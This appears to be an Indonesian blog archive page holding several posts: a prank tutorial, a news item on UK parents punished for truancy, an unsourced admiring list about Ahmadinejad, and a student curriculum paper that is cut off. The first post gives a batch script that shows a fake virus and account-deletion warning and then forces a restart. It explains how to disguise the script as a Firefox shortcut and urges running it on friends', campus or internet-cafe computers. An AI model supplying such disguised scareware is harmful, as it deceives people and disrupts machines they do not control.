SEKARANG ANE MAU NGASIH 1 TRIK BUAT OM AGAN SEMUA YANG HOBINYA JAIL

SEKARANG ANE MAU NGASIH 1 TRIK BUAT OM AGAN SEMUA YANG HOBINYA JAIL

02.08
LANGSUNG AJA NIH TRIKNYA :

1. BUka program notepad atau biar cepet menu RUN ketik notepad lalu enter

2. Copy kode ini dan pastekan di notepad kamu

@echo off
msg * WARNING VIRUS DETECTED!!!!! AFTER 5 MINUTES YOUR FACEBOOK ACCOUNT WILL BE DELETED !!!!TO REMOVE THE VIRUS CLICK OK OR CLOSE THIS BOX!
PAUSE
shutdown -r -t 300 -c ” SORRY!!! YOUR FACEBOOK ACCOUNT ARE NOW BEING DELETED !!! PLEASE WAIT ………..”

3. Habis itu simpen file notepad ini dengan format *.bat = terserah mau diberi

nama apa, misal : pacebuk.bat dan SAVE di Dekstop (Recommended)

4. Sekarang klik kanan desktopmu dan pilih New => Shortcut

5. Setelah ini akan muncul sebuah tampilan dan klik browse lalu cari lokasi file

.bat yang kamu simpen tadi, misal tadi kamu save pada dekstop

6. Klik Next dan Rename dengan Mozilla Firefox (Untuk nama ini terserah kamu

dan bebas bisa ganti dengan Opera Mini atau Google Chrome, ini hanya

sebagai tipuan aja)

7.Bila semua langkah sudah oke, sekarang yang perlu kamu lakuin adalah

mengubah icon .bat tadi dalam bentuk Mozilla Firefox (karena kita sering pakai

Mozilla jadi pembahasannya pakai browser ini) .. Terus caranya gimana ?

Gampang.. tinggal kamu klik kanan file .bat tadi dan pilih change icon

Gak nemu icon mozilla ? Coba deh low cari di Program Files => Mozilla Firefox

Nah sekarang virus facebookmu telah jadi dengan sempurna, kalau kamu ingin

iseng nyoba tinggal di klik aja deh dan lihat perubahan yang akan terjadi ..

Harusnya pasti sedikit kaget dan coba low bayangin kalau trik ini kamu

praktekan di kompi temen kamu atau mungkin kompi kampus atau warnet..

what will happen ? abis pastinya ..

NIH SCREENSHOOTNYA :



TUH JAMIN TRIT INI NO  AND

referens : kaskus
Murid di Inggris Bolos, Orangtua Di Penjara euy..

Murid di Inggris Bolos, Orangtua Di Penjara euy..

00.29
 

VIVAnews - Lebih dari 11.000 orangtua di Inggris mendapatkan sanksi-- bahkan hukuman penjara--karena membiarkan anak mereka bolos sekolah pada tahun lalu. Pemerintah Inggris masih menganggap hukuman ini terlalu ringan. Mereka berencana memperketat peraturan.

Dilansir laman The Guardian, Selasa 8 November 2011, terdapat 11.757 orangtua yang dihukum karena ketidakhadiran anak mereka di sekolah. Angka ini meningkat dari tahun lalu di mana 11.188 orangtua dijatuhi sanksi serupa.

Sebanyak 25 orangtua di antaranya dihukum penjara, dengan vonis terlama 90 hari. Sejumlah 9.000 orang divonis bersalah dan dua pertiga di antaranya dijatuhi denda. Denda maksimal untuk kejahatan ini adalah 850 poundsterling atau sekitar Rp12 juta. Lebih dari 400 orangtua mendapatkan hukuman kerja sosial, dan 53 lainnya ditangguhkan hukumannya.

Jumlah orangtua yang dihukum akibat anak yang membolos di Inggris dari tahun ke tahun bertambah jumlahnya. Pada tahun 2005, tercatat hanya 4.000 orangtua yang dihukum. Jumlah orangtua yang dipenjara konstan, sekitar 15 hingga 20an.

Menurut laporan Kementerian Pendidikan Inggris, lebih dari 450 ribu siswa, atau sekitar 7 persen dari populasi sekolah, membolos pada musim gugur 2010 dan musim semi 2011.

Kendati hukuman semacam ini tergolong berat, namun Menteri Pendidikan Inggris Michael Gove mengatakan masih perlu memperketat peraturan. Dia mengatakan hukuman yang sekarang masih "belum bertaring". Dendanya juga masih terlampau kecil.

"Denda untuk pembolosan saat ini dikurangi dengan alasan pengeluaran orang dewasa untuk TV satelit, alkohol dan rokok. Kebanyakan mereka juga menghindari denda dan sanksi. Kita perlu mengkaji kembali sanksi di sekolah, kepolisian, pengadilan dan pemerintahan, mengenai hal ini," kata Gove. (kd)
Coba kalau Presiden RI seperti  “AHMAD DINEJAD” presiden IRAN

Coba kalau Presiden RI seperti “AHMAD DINEJAD” presiden IRAN

00.26

sosok yg bernama lengkap Mahmoud Ahmadinejad ini merupakan presiden ke 6 Iran, sosok yang pantas untuk di dikagumi dan di tauladani,,,,apalagi ditengah minimnya sosok pemimpin yang bisa mengayomi masyarakat bangsa ini.
Lahir di Aradan, 28 Oktober 1956 dari kalangan keluaraga yang cukup sederhana membuat dirinya menjadi sosok pemimpin yang sangat familiar di berbagai kalangan.
Berikut adalah gambaran Ahmadinejad, yang membuat orang ternganga:
1. Saat pertama kali menduduki kantor kepresidenan Ia menyumbangkan seluruh karpet Istana Iran yang sangat tinggi nilainya itu kepada masjid2 di Teheran dan menggantikannya dengan karpet biasa yang mudah dibersihkan.
2. Ia mengamati bahwa ada ruangan yang sangat besar untuk menerima dan menghormati tamu VIP, lalu ia memerintahkan untuk menutup ruang tersebut dan menanyakan pada protokoler untuk menggantinya dengan ruangan biasa dengan 2 kursi kayu, meski sederhana tetap terlihat impresive.
3. Di banyak kesempatan ia bercengkerama dengan petugas kebersihan di sekitar rumah dan kantor kepresidenannya. Seorang Presiden yang Low Profile
4. Di bawah kepemimpinannya, saat ia meminta menteri2 nya untuk datang kepadanya dan menteri2 tsb akan menerima sebuah dokumen yang ditandatangani yang berisikan arahan2 darinya, arahan tersebut terutama sekali menekankan para menteri2nya untuk tetap hidup sederhana dan disebutkan bahwa rekening pribadi maupun kerabat dekatnya akan diawasi, sehingga pada saat menteri2 tsb berakhir masa jabatannya dapat meninggalkan kantornya dengan kepala tegak.
5. Langkah pertamanya adalah ia mengumumkan kekayaan dan propertinya yang terdiri dari Peugeot 504 tahun 1977, sebuah rumah sederhana warisan ayahnya 40 tahun yang lalu di sebuah daerah kumuh di Teheran. Rekening banknya bersaldo minimum, dan satu2nya uang masuk adalah uang gaji bulanannya.
6. Gajinya sebagai dosen di sebuah universitas hanya senilai US$ 250.
7. Sebagai tambahan informasi, Presiden masih tinggal di rumahnya. Hanya itulah yang dimilikinyaseorang presiden dari negara yang penting baik secara strategis, ekonomis, politis, belum lagi secara minyak dan pertahanan. Bahkan ia tidak mengambil gajinya, alasannya adalah bahwa semua kesejahteraan adalah milik negara dan ia bertugas untuk menjaganya.
8. Satu hal yang membuat kagum staf kepresidenan adalah tas yg selalu dibawa sang presiden tiap hari selalu berisikan sarapan; roti isi atau roti keju yang disiapkan istrinya dan memakannya dengan gembira, ia juga menghentikan kebiasaan menyediakan makanan yang dikhususkan untuk presiden.
demikian sedikit dari banyak hal  yang membuat banyak orang ternganga dan mengagumi kehidupannya,,,
diharapkan semoga dengan saya membuat sedikit catatan tentang salah satu sosok pemimpin yang pantas diteladani, membuat saya pribadi dan para pemuda selaku generasi bangsa dapat terpacu unruk bisa menjadi menjadi pemimpin yang sederhana namun sangat familiar dimata bangsa dan dunia,,seperti yang dikatakan oleh Ahmad dinejad bahwasanya “pemimpin tak lebih dari seorang pelayan, hari di depanmu penuh dengan tanggung jawab yang berat, yaitu melayani bangsa “……

(http://arywasis.wordpress.com)
Tela'ah Kurikulum Dan Buku Teks

Tela'ah Kurikulum Dan Buku Teks

19.57
KATA PENGANTAR


Segala puji milik Allah, Rabb semesta alam yang menciptakan dan mengatur kehidupan. Kami meminta pertolongan dan ampunan kepadaNya, dan kami berlindung diri kepada Allah dari kejahatan diri kami. Barang siapa diberi petunjuk oleh Allah, siapapun tidak dapat menyesatkannya dan barang siapa yang disesatkan oleh Allah, maka tidak ada yang dapat memberi petunjuk kepadanya. Aku bersaksi bahwa tiada Tuhan selain Allah dan aku bersaksi bahwa tidak ada Muhammad hambaNya dan RosulNya.
Syukur kami panjatkan kepada Allah yang telah memberikan kekuatan kepada kami sehingga dapat menyusun makalah yang berjudul HAKIKAT DAN FUNGSI KURIKULUM. Semoga makalah ini memberikan manfaat bagi kami khususnya dan bagi pembaca pada umumnya.
Secara khusus kami ucapkan terima kasih kepada Prof. Dr. H. Sofyan Sauri, M.Pd., dosen mata kuliah Telaah Kurikulum dan Buku Teks.
Kami menyadari dengan sepenuh hati bahwasannya makalah ini masih jauh dari sempurna. Oleh karena itu, kami mengharapkan kritik dan saran yang membangun sehingga dapat memperbaiki kekurangan-kekurangan yang terdapat dalam makalah ini serta dapat membantu dalam penyusunan tugas-tugas atau makalah-makalah berikutnya.
Kami juga mengucapkan terimakasih kepada siapapun yang terlibat dalam penyusunan makalah ini. Kami ucapkan jazakumullahu khoiron katsiro. Aamiin

Bandung, September 2010


Kelompok I

DAFTAR ISI


KATA PENGANTAR i
DAFTAR ISI ii

BAB I PENDAHULUAN
A. Latar Belakang Masalah 1
B. Rumusan Masalah 3
C. Tujuan Penulisan Masalah 3
D. Metode Pembahasan 3
BAB II LANDASAN TEORITIS
A. Pengertian Hakikat dan Fungsi 4
B. Pengertian Kurikulum Dari Berbagai Ahli 4
BAB III PEMBAHASAN
A. Hakikat Kurikulum 11
B. Dasar Kurikulum 13
C. Fungsi Kurikulum 14
D. Peranan Kurikulum 18
BAB IV PENUTUP
A. Kesimpulan 20
B. Saran 20

DAFTAR PUSTAKA
BAB I
PENDAHULUAN


A. Latar Belakang Masalah
Setiap kegiatan memerlukan suatu perencanaan dan organisasi yang dilaksanakan secara sistematis dan terstruktur agar dapat mencapai tujuan yang ditentukan atau yang diharapkan. Demikian pula halnya pendidikan, diperlukan adanya program yang terencana dan dapat mengantarkan proses pembelajaran/pendidikan sampai pada tujuan yang diharapkan. Proses, pelaksanaan, sampai penilaian dalam pendidikan lebih dikenal dengan istilah "kurikulum pendidikan".
Kurikulum sangat berarti dalam dunia pendidikan, karena merupakan operasionalisasi tujuan yang dicita-citakan, bahkan tujuan tidak akan tercapai tanpa melibatkan kurikulum pendidikan. Kurikulum merupakan salah satu komponen pokok dalam pendidikan, dan kurikulum sendiri juga merupakan sistem yang mempunyai komponen-komponen tertentu. Komponen kurikulum paling tidak mencakup tujuan, struktur program, strategi pelaksanaan yang menyangkut sistem penyajian pelajaran, penilaian hasil belajar, bimbingan-penyuluhan, administrasi, dan supervisi pendidikan.
Kurikulum yang terdiri atas berbagai komponen yang satu dengan yang lain saling terkait adalah satu sistem, ini berarti bahwa setiap komponen yang saling terkait hanya mempunyai satu tujuan, yaitu tujuan pendidikan yang juga menjadi tujuan kurikulum.
Kurikulum berfungsi sebagai pedoman dalam pelaksanaan kegiatan pendidikan di sekolah bagi pihak-pihak yang terkait, baik secara langsung maupun tidak langsung, seperti pihak guru, kepala sekolah, pengawas, orangtua, masyarakat dan pihak siswa itu sendiri. Selain sebagai pedoman, bagi siswa kurikulum memiliki enam fungsi, yaitu: fungsi penyesuaian, fungsi pengintegrasian, fungsi diferensiasi, fungsi persiapan, fungsi pemilihan, dan fungsi diagnostik.
Kurikulum sebagai rancangan pendidikan mempunyai kedudukan yang sangat strategis dalam seluruh aspek kegiatan pendidikan. pendidikan tidak mungkin berjalan dengan baik atau berhasil mencapai tujuan yang telah ditetapkan jika pendidikan tidak dijalankan sesuai dengan kurikulum. dan kurikulum yang dibuat tidak dapat mencapai kesempurnaan (titik maksimal) jika dalam penyusunannya, penyusun kurikulum tidak memahami secara utuh hakikat dan fungsi kurikulum.
Dewasa ini pendidikan tidak sesuai dengan apa diharapkan pemerintah, sebagaimana apa yang termaktub dalam Undang-Undang Dasar, yakni melahirkan pribadi-pribadi yang beriman dan bertakwa. Ketimpangan yang terjadi sekarang ini harus ditindaklanjuti sehingga mendapatkan solusi. Sebetulnya dimana letak kesalahan itu, apakah pada kurikulum atau pada komponen-komponen kurikulum. Bagaimana caranya kurikulum sesuai dengan fungsinya, salah satunya kurikulum berfungsi sebagai penyesuaian, bahwasannya siswa harus mampu menyesuaikan diri dengan lingkungan.
Mengingat pentingnya peranan kurikulum di dalam pendidikan dan dalam perkembangan kehidupan manusia, maka dalam penyusunan kurikulum tidak bisa dilakukan tanpa memahami konsep dasar dari kurikulum. Oleh karena itu, pihak-pihak terkait dengan kurikulum harus mengetahui hakikat dan fungsi kurikulum. Jika kurikulum sudah tersusun dengan baik, maka guru harus mengemban tugas pelaskanaan kurikulum tersebut dengan baik, dengan berpedoman pada kurikulum yang berlaku. Dengan demikian, fungsi kurikulum adalah sebagai pedoman kerja melaksanaakan kurikulum.




B. Rumusan Masalah
Adapun yang menjadi pokok permasalahan dalam penulisan makalah ini adalah sebagai berikut:
1. Apa hakikat kurikulum?
2. Apa saja dasar kurikulum?
3. Apa saja fungsi kurikulum?
4. Bagaimana peranan kurikulum terhadap kegiatan belajar mengajar?

C. Tujuan dan Manfaat
Mengacup pada rumusan masalah tersebut, maka yang menjadi tujuan penulisan makalah ini adalah sebagai berikut:
1. Untuk mengetahui hakikat kurikulum.
2. Untuk mengetahui dasar kurikulum.
3. Untuk mengetahui fungsi kurikulum.
4. Untuk memahami peran kurikulum.

D. Sistematika Uraian
Penulisan makalah ini dibagi menjadi beberapa bab dengan tujuan untuk mempermudah mengidentifikasi masalah yang akan dibahas. Adapun urutannya sebagai berikut:
BAB I Pendahuluan
Pada bab ini dibahas: latar belakang masalah, rumusan masalah, tujuan dan manfaat penulisan, serta sistematika penulisan.
BAB II Landasan Teori
BAB III Pembahasan
Pada bab ini membahas tentang Hakikat, dasar, Fungsi, dan Peran Kurikulum
BAB IV Penutup
Pada bab ini berisi kesimpulan dan saran.

BAB II
LANDASAN TEORI


A. Pengertian Hakikat dan Fungsi
Hakikat adalah intisari atau dasar; kenyataan yang sebenarnya (KBBI: 383). Sedangkan fungsi adalah kegunaan suatu hal (KBBI: 322).
Hakikat dari kurikulum ialah kegiatan yang mencakup berbagai rencana kegiatan peserta didik yang mencakup berbagai rencana kegiatan peserta didik yang terperinci berupa bentuk-bentuk bahan pendidikan, saran-saran strategi belajar mengajar, pengaturan-pengaturan program agar dapat diterapkan, dan hal-hal yang mencakup pada kegiatan yang bertujuan mencapai tujuan yang diinginkan.

B. Pengertian Kurikulum Dari Berbagai Ahli
Menurut Prof. Dr. Hj. Hansiswany Kamarga, M.Pd., beliau salah seorang dosen Program Pengembangan Kurikulum di Pasca Sarjana UPI. Profesor mengatakan "Hakikat kurikulum dalam konteks sekarang ialah semua aktivitas di sekolah yang direncanakan".
Beberapa ahli mengemukakan arti kurikulum dalam bukunya S. Nasution (2003) :
1. J. Galen Saylor dan William M. Alexander. "The Curriculum is the sum total of school's efforts to influence learning. whether in the classroom, on the playground, or out of school."
Jadi segala usaha sekolah untuk mempengaruhi anak belajar, apakah dalam ruangan kelas, di halaman sekolah atau di luar sekolah termasuk kurikulum. Kurikulum meliputi juga apa yang disebut kegiatan ekstra-kurikuler.
2. Harold B. Albertycs memandang kurikulum sebagai "all of the activities that are provided for students by the school.
Seperti halnya dengan definisi Saylor dan Alexander, kurikulum tidak terbatas pada mata pelajaran, akan tetapi juga meliputi kegiatan-kegiatan lain, di dalam dan luar kelas, yang berada di bawah tanggung jawab sekolah. Definisi melihat manfaat kegiatan dan pengalaman siswa di luar mata pelajaran tradisional.
3. B. Othael Smith, W.O. Stanley dan J. Harlan Shores memandang kurikulum sebagai "a sequence of potential experience set up in the school for the purpose of disciplioning children and youth in group ways of thinking and acting".
Mereka melihat kurikulum sebagai sejumlah pengalaman yang secara potensial dapat diberikan kepada anak dan pemuda, agar mereka dapat berpikir dan berbuat sesuai dengan masyarakatnya.
4. William B. Ragan, menjelaskan arti kurikulum sebagai berikut:"The tendency in recent decades has been to use the term in a broader sense to refer to the whole life and program of the school. The term is used...to include all the experineces of children for which the school accepts resposibility. It denotes the result of efferors on the part of the adultsof the community, anf the nation to bring to the childrenthe dinest, most whole influences that exisr in the culture."
Ragan menggunakan kurikulum dalam arti luas, yang meliputi seluruh program dan kehidupan dalam sekolah, yakni segala pengalaman anak di bawah tanggung jawab sekolah. Kurikulum tidak hanya meliputi bahan pelajaran tetapi meliputi seluruh kehidupan dalam kelas. Jadi hubungan sosial antara guru dan murid, metode mengajar, cara mengevaluasi termasuk kurikulum.
5. J. Lloyd Trump dan Delmas F. Miller juga menganut definisi kurikulum yang luas. Menurut mereka dalam kurikulum juga termasuk metode mengajar dan belajar, cara mengevaluasi murid dan seluruh program, perubahan tenaga pengajar, bimbingan dan penyuluhan, supervisi dan administrasi dan hal-hal struktural mengenai waktu, jumlah ruangan serta kemungkinan memilih mata pelajaran. Ketiga aspek pokok, program, manusia dan fasilitas sangat erat hubungannya, sehingga tidak mungkin diadakan perbaikan jika tidak diperhatikan ketiga-tiganya.
6. Alice Miel juga menganut pendirian yang luas mengenai kurikulum. Ia mengemuukakan bahwa kurikulum juga meliputi keadaan gedung, suasana sekolah, keinginan, keyakinan, pengetahuan dan sikap orang-orang melayani dan dilayani sekolah, yakni anak didik, masyarakat, para pendidik dan personalia (termasuk penjaga sekolah, pegawai administrasi dan orang lainnya yang ada hubungannya dengan murid-murid). Jadi kurikulum meliputi segala pengalaman dan pengaruh yang bercorak pendidikan yang diperoleh anak di sekolah. Definisi Miel tentang kurikulum sangat luas yang mencakup yang meliputi bukan hanya pengetahuan, kecakapan, kebiasaan-kebiasaan, sikap, apresiasi, cita-cita serta norma-norma, melainkan juga pribadi guru, kepala sekolah serta seluruh pegawai sekolah.
7. Edward A. Krug menunjukkan pendirian yang terbatas tapi realistis tentang kurikulum. Definisinya ialah "A kurikulum Consists of menas used to achieve or carry out given purposes of schooling". Kurikulum dilihatnya sebagai cara-cara dan usaha untuk mencapai tujuan persekolahan. Ia membedakan tugas sekolah mengenai perkembangan anak dan tangung jawab lembaga pendidikan lainnya seperti rumah tangga, lembaga agama masyarakat, dan lain-lain. Ia dengan sengaja menggunakan istilah "schooling" untuk menjelaskan apa sebenarnya tugas sekolah. Memborong segala tanggung jawab atas pendidikan anak akan merupakan beban yang terlampau berat, sehingga tidak mungkin dilakukan dengan baik.
Sedangkan pendapat para ahli dalam buku Perencanaan dan Pengembangan kurikulum:
William B. Ragan, kurikulum ialah semua pengalaman anak yang menjadi tanggung jawab sekolah.
Pendapat Robert S. Flaming sama dengan pendapat Ragan, yaitu kurikulm pada sekolah modern dapat didefinisikan seluruh pengalaman belajar anak yang menjadi tanggung jawab sekolah.
Sedangkan definisi kurikulum menurut David Praff ialah seperangkat organisasi pendidikan formal atau pusat-pusat pelatihan. Definisi tersebut dijelaskan sebagai berikut:
a. Rencana tersebut dalam bentuk tulisan
b. Rencana itu ialah rencana kegiatan
c. Kurikulum berisikan hal-hal berikut:
- Siswa mau dikembangkan kemana?
- Bahan apa yang akan diajarkan?
- Alat apa yang akan digunakan?
- Bagaimana cara mengevaluasinya?
- Bagaimana kualitas guru yang diperlukan?
d. Kurikulum dilaksanakan dalam pendidikan formal.
e. Kurikulum disusun secara sistemik.
f. Pendidikan latihan mendapat perhatian.
Donald F. Gay mengemukakan beberapa perumusan kurikulum sebagai berikut:
a. Kurikulum terdiri atas sejumlah bahan pelajaran yang secara logis.
b. Kurikulum terdiri atas pengalaman belajar yang direncanakan untuk membawa perubahan perilaku anak.
c. Kurikulum merupakan desain kelompok sosial untuk menjadi pengalaman belajar anak di sekolah
d. Kurikulum terdiri atas semua pengalaman anak yang mereka lakukan dan rasakan di bawah bimbingan belajar.
Nengly dan Evaras mengemukakan bahwa semua pengalaman yang direncanakan yang dilakukan oleh sekolah untuk menolong para siswa dalam mencapai hasil belajar kepada kemampuan siswa yang paling baik.
Sedangkan menurut Inlow, kurikulum adalah susunan rangkain dari hasil belajar yang disengaja. Kurikulum menggambarkan (atau paling tidak mengantisipasi) dari hasil pengajaran.
Menurut Saaylor, kurikulum adalah keseluruhan usaha sekolah untuk mempengaruhi proses belajar mengajar baik langsung di kelas tempat bermain, atau di luar sekolah.
George A. Beauchamp (1986) mengemukakan bahwa: “A Curriculum is a written document which may contain many ingredients, but basically it is a plan for the education of pupils during their enrollment in given school”.
Dalam pandangan modern, pengertian kurikulum lebih dianggap sebagai suatu pengalaman atau sesuatu yang nyata terjadi dalam proses pendidikan, seperti dikemukakan oleh Caswel dan Campbell (1935) yang mengatakan bahwa kurikulum … to be composed of all the experiences children have under the guidance of teachers.
Dipertegas lagi oleh pemikiran Ronald C. Doll (1974) yang mengatakan bahwa: “ …the curriculum has changed from content of courses study and list of subject and courses to all experiences which are offered to learners under the auspices or direction of school.
Sedangkan Hilda Taba (1962) mengemukakan bahwa: “A curriculum usually contains a statement of aims and of specific objectives; it indicates some selection and organization of content; it either implies or manifests certain patterns of learning and teaching, whether because the objectives demand them or because the content organization requires them. Finally, it includes a program of evaluation of the outcomes”. Pengertian kurikulum menurut Hilda Taba menekankan pada tujuan suatu statemen, tujuan-tujuan khusus, memilih dan mengorganisir suatu isi, implikasi dalam pola pembelajaran dan adanya evaluasi.
Sementara Unruh dan Unruh (1984) mengemukakan bahwa “curriculum is defined as a plan for achieving intended learning outcomes: a plan concerned with purposes, with what is to be learned, and with the result of instruction”. Ini berartibahwa kurikulum merupakan suatu rencana untuk keberhasilan pembelajaran yang di dalamnya mencakup rencana yang berhubungan dengan tujuan, dengan apa yang harus dipelajari, dan dengan hasil dari pembelajaran.
Olivia (1997) mengatakan bahwa “we may think of the curriculum as a program, a plan, content, and learning experiences, whereas we may characterize instruction as methods, the teaching act, implementation, and presentation”. Olivia termasuk orang yang setuju dengan pemisahan antara kurikulum dengan pengajaran dan merumuskan kurikulum sebagai a plan or program for all the experiences that the learner encounters under the direction of the school.
Pendapat yang sedikit berbeda tentang kurikulum dikemukakan oleh Marsh (1997), dia mengemukakan bahwa kurikulum merupakan suatu hubungan antara perencanaan-perencanaan dengan pengalaman-pengalaman yang seorang siswa lengkapi di bawah bimbingan sekolah.
Senada dengan Marsh, Schubert (1986) mengatakan: “The interpretation that teachers give to subject matter and the classroom atmosphere constitutes the curriculum that students actually experience”. Pengertian tersebut menggambarkan definisi kurikulum dalam arti teknis pendidikan. Pengertian tersebut diperlukan ketika proses pengembangan kurikulum sudah menetapkan apa yang ingin dikembangkan, model apa yang seharusnya digunakan dan bagaimana suatu dokumen harus dikembangkan. Kebanyakan dari pengertian itu berorientasi pada kurikulum sebagai upaya untuk mengembangkan diri peserta didik, pengembangan disiplin ilmu, atau kurikulum untuk mempersiapkan peserta didik untuk suatu pekerjaan tertentu.
Selanjutnya Dool (1993) memperkuat pendapatnya tentang kurikulum yang ada sekarang dengan mengatakan: ”Education and curriculum have borrowed some concepts from the stable, nonechange concept - for example, children following the pattern of their parents, IQ as discovering and quantifying an innate potentiality. However, for the most part modernist curriculum thought have adopted the closed version, one where - trough focusing - knowledge is transmitted, transferred. This is, I believe, what our best contemporary schooling is all about. Transmission frames our teaching-learning process”.
Dengan transfer dan transmisi maka kurikulum menjadi suatu fokus pendidikan yang ingin mengembangkan pada diri peserta didik apa yang sudah terjadi dan berkembang di masyarakat. Kurikulum tidak menempatkan peserta didik sebagai subjek yang mempersiapkan dirinya bagi kehidupan masa datang tetapi harus mengikuti berbagai hal yang dianggap berguna berdasarkan apa yang dialami oleh orang tua mereka.
Dalam konteks ini, maka disiplin ilmu memiliki posisi sentral yang menonjol dalam kurikulum. Kurikulum, dan pendidikan, haruslah mentransfer berbagai disiplin ilmu sehingga peserta didik menjadi warga masyarakat yang dihormati.























BAB III
PEMBAHASAN


A. Hakikat Kurikulum
Istilah kurikulum (curriculum), yang pada awalnya digunakan dalam dunia olahraga, berasal dari kata curir (pelari) dan curere (tempat berpacu). Pada saat itu kurikulum diartikan sebagai jarak yang harus ditempuh oleh seorang pelari mulai dari start sampai finish untuk memperoleh medali/penghargaan. Kemudian pengertian tersebut diterapkan dalam dunia pendidikan menjadi sejumlah mata pelajaran (subject) yang harus ditempuh oleh seorang siswa dari awal sampai akhir program pelajaran untuk memperoleh penghargaan dalam bentuk ijazah. Dari pengertian tersebut, dalam kurikulum terkandung dua hal pokok, yaitu: (1) adanya mata pelajaran yang harus ditempuh oleh siswa, dan (2) tujuan utamanya yaitu untuk memperoleh ijazah. Dengan demikian, implikasi terhadap praktik pengajaran yaitu setiap siswa harus menguasai seluruh mata pelajaran yang diberikan dan menempatkan guru dalam posisi yang sangat penting dan menentukan. Keberhasilan siswa ditentukan oleh seberapa jauh mata pelajaran tersebut dikuasainya dan biasanya disimbolkan dengan skor yang diperoleh setelah mengikuti suatu tes atau ujian.
Pengertian kurikulum seperti disebutkan di atas dianggap pengertian yang sempit atau sangat sederhana. Jika kita mempelajari buku-buku atau literatur lainnya tentang kurikulum, terutama yang berkembang di negara negara maju, maka akan ditemukan banyak pengertian yang lebih luas dan beragam. Kurikulum itu tidak terbatas hanya pada sejumlah mata pelajaran saja, tetapi mencakup semua pengalaman belajar (learning experiences) yang dialami siswa dan mempengaruhi perkembangan pribadinya. Bahkan Harold B. Alberty (1965) memandang kurikulum sebagai semua kegiatan yang diberikan kepada siswa di bawah tanggung jawab sekolah (all of the activities that are provided for the students by the school). Kurikulum tidak dibatasi pada kegiatan di dalam kelas saja, tetapi mencakup juga kegiatan kegiatan yang dilakukan oleh siswa di luar kelas. Pendapat yang senada dan menguatkan pengertian tersebut dikemukakan oleh Saylor, Alexander, dan Lewis (1974) yang menganggap kurikulum sebagai segala upaya sekolah untuk mempengaruhi siswa supaya belajar, baik dalam ruangan kelas, di halaman sekolah, maupun di luar sekolah.
Pengertian kurikulum senantiasa berkembang terus sejalan dengan perkembangan teori dan praktik pendidikan. Dengan beragamnya pendapat mengenai pengertian kurikulum, maka secara teoretis kita agak sulit menentukan satu pengertian yang dapat merangkum semua pendapat. Pada saat sekarang istilah kurikulum memiliki empat dimensi pengertian, satu dimensi dengan dimensi lainnya saling berhubungan. Keempat dimensi kurikulum tersebut yaitu: (1) kurikulum sebagai suatu ide/gagasan; (2) kurikulum sebagai suatu rencana tertulis yang sebenamya merupakan perwujudan dari kurikulum sebagai suatu ide; (3) kurikulum sebagai suatu kegiatan yang sering pula disebut dengan istilah kurikulum sebagai suatu realita atau implementasi kurikulum. Secara teoretis dimensi kurikulum ini adalah pelaksanaan dari kurikulum sebagai suatu rencana tertulis; dan (4) kurikulum sebagai suatu hasil yang merupakan konsekuensi dari kurikulum sebagai suatu kegiatan.
Pandangan atau anggapan yang sampai saat ini masih lazim dipakai dalam dunia pendidikan dan persekolahan di negara kita, yaitu kurikulum sebagai suatu rencana tertulis yang disusun guna memperlancar proses pembelajaran. Hal ini sesuai dengan rumusan pengertian kurikulum seperti yang tertera dalam Undang undang No. 20 Tahun 2003 tentang Sistem Pendidikan Nasional pasal 1 ayat (19) yang berbunyi: Kurikulum adalah seperangkat rencana dan pengaturan mengenai tujuan, isi dan bahan pelajaran serta cara yang digunakan sebagai pedoman penyelenggaraan kegiatan pembelajaran untuk mencapai tujuan pendidikan tertentu. Lebih lanjut pada pasal 36 ayat (3) disebutkan bahwa kurikulum disusun sesuai dengan jenjang dan jenis pendidikan dalam kerangka Negara Kesatuan Republik Indonesia dengan memperhatikan:
1. Peningkatan iman dan takwa;
2. Peningkatan akhlak mulia;
3. Peningkatan potensi, kecerdasan, dan minat peserta didik;
4. Keragaman potensi daerah dan lingkungan;
5. Tuntutan pembangunan daerah dan nasional;
6. Tuntutan dunia kerja;
7. Perkembangan ilmu pengetahuan, teknologi, dan seni;
8. Agama;
9. Dinamika perkembangan global;
10. Persatuan nasional dan nilai-nilai kebangsaan.
Pasal ini jelas menunjukkan berbagai aspek pengembangan kepribadian peserta didik yang menyeluruh dan pengembangan pembangunan masyarakat dan bangsa, ilmu, kehidupan agama, ekonomi, budaya, seni, teknologi dan tantangan kehidupan global. Artinya, kurikulum haruslah memperhatikan permasalahan ini dengan serius dan menjawab permasalahan ini dengan menyesuaikan diri pada kualitas manusia yang diharapkan dihasilkan pada setiap jenjang pendidikan.

B. Dasar Kurikulum
Dasar kurikulum adalah kekuatan-kekuatan utama yang mempengaruhi dan membentuk materi kurikulum, susunan atau organisasi kurikulum. dasar kurikulum disebut juga sumber kurikulum atau determinan kurikulum (penentu).
Herman H. Horne memberikan dasar kurikulum dengan tiga macam, yaitu:
1. Dasar psikologis, yang digunakan untuk mengetahui kemampuan yang diperoleh dari pelajar dan kebutuhan peserta didik (the ability and needs of children).
2. Dasar sosiologis, yang digunakan untuk mengetahui tuntutan sah dari masyarakat (the legitimate demands of society)

3. Dasar filosofis, yang digunakan untuk mengetahui keadaan alam semesta tempat kita hidup (the kind of universe in which we li live)

C. Fungsi Kurikulum
Pada dasarnya kurikulum itu berfungsi sebagai pedoman atau acuan. Bagi guru, kurikulum itu berfungsi sebagai pedoman dalam melaksanakan proses pembelajaran. Bagi kepala sekolah dan pengawas, kurikulum itu berfungsi sebagai pedoman dalam melaksanakan supervisi atau pengawasan. Bagi orang tua, kurikulum itu berfungsi sebagai pedoman dalam membimbing anaknya belajar di rumah. Bagi masyarakat, kurikulum itu berfungsi sebagai pedoman untuk memberikan bantuan bagi terselenggaranya proses pendidikan di sekolah.
Berkaitan dengan fungsi kurikulum bagi siswa sebagai subjek didik, terdapat enam fungsi kurikulum, yaitu:
1. Fungsi Penyesuaian (the adjustive or adaptive function)
Fungsi Penyesuaian mengandung makna bahwa kurikulum sebagai alat pendidikan harus mampu mengarahkan siswa agar memiliki sifat well adjusted yaitu mampu menyesuaikan dirinya dengan lingkungan, baik lingkungan fisik maupun lingkungan sosial. Lingkungan itu sendiri senantiasa mengalami perubahan dan bersifat dinamis. Karena itu, siswa pun harus memiliki kemam puan untuk menyesuaikan diri dengan perubahan yang terjadi di lingkungannya.
2. Fungsi Integrasi (the integrating function)
Fungsi Integrasi mengandung makna bahwa kurikulum sebagai alat pendidikan harus mampu menghasilkan pribadi-pribadi yang utuh. Siswa pada dasarnya merupakan anggota dan bagian integral dari masyarakat. Oleh karena itu, siswa harus memiliki kepribadian yang dibutuhkan untuk dapat hidup dan berintegrasi dengan masyarakatnya.


3. Fungsi Diferensiasi (the differentiating function)
